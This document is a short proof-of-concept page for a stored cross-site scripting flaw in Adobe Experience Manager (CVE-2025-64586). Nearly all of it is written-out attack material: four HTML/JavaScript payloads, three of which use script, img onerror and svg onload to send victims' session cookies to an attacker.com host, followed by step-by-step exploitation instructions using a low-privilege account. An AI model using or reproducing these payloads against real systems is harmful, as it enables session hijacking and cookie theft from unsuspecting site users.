Adobe Experience Manager 存储型XSS漏洞 (CVE-2025-64586)

<!-- Stored XSS PoC for CVE-2025-64586 --> <!-- Inject this payload into any form field in Adobe Experience Manager --> <!-- Basic XSS payload --> <script>alert('XSS');</script> <!-- Cookie stealing payload --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Image tag-based XSS --> <img src=x onerror='fetch("https://attacker.com/log?data="+btoa(document.cookie))'> <!-- SVG-based XSS --> <svg/onload=fetch('https://attacker.com/exfil?cookie='+document.cookie)> <!-- Steps to exploit: --> <!-- 1. Login to Adobe Experience Manager with low-privilege account --> <!-- 2. Navigate to any form with input fields --> <!-- 3. Insert one of the above payloads into a form field --> <!-- 4. Submit the form --> <!-- 5. When any user views the page containing this field, the script executes -->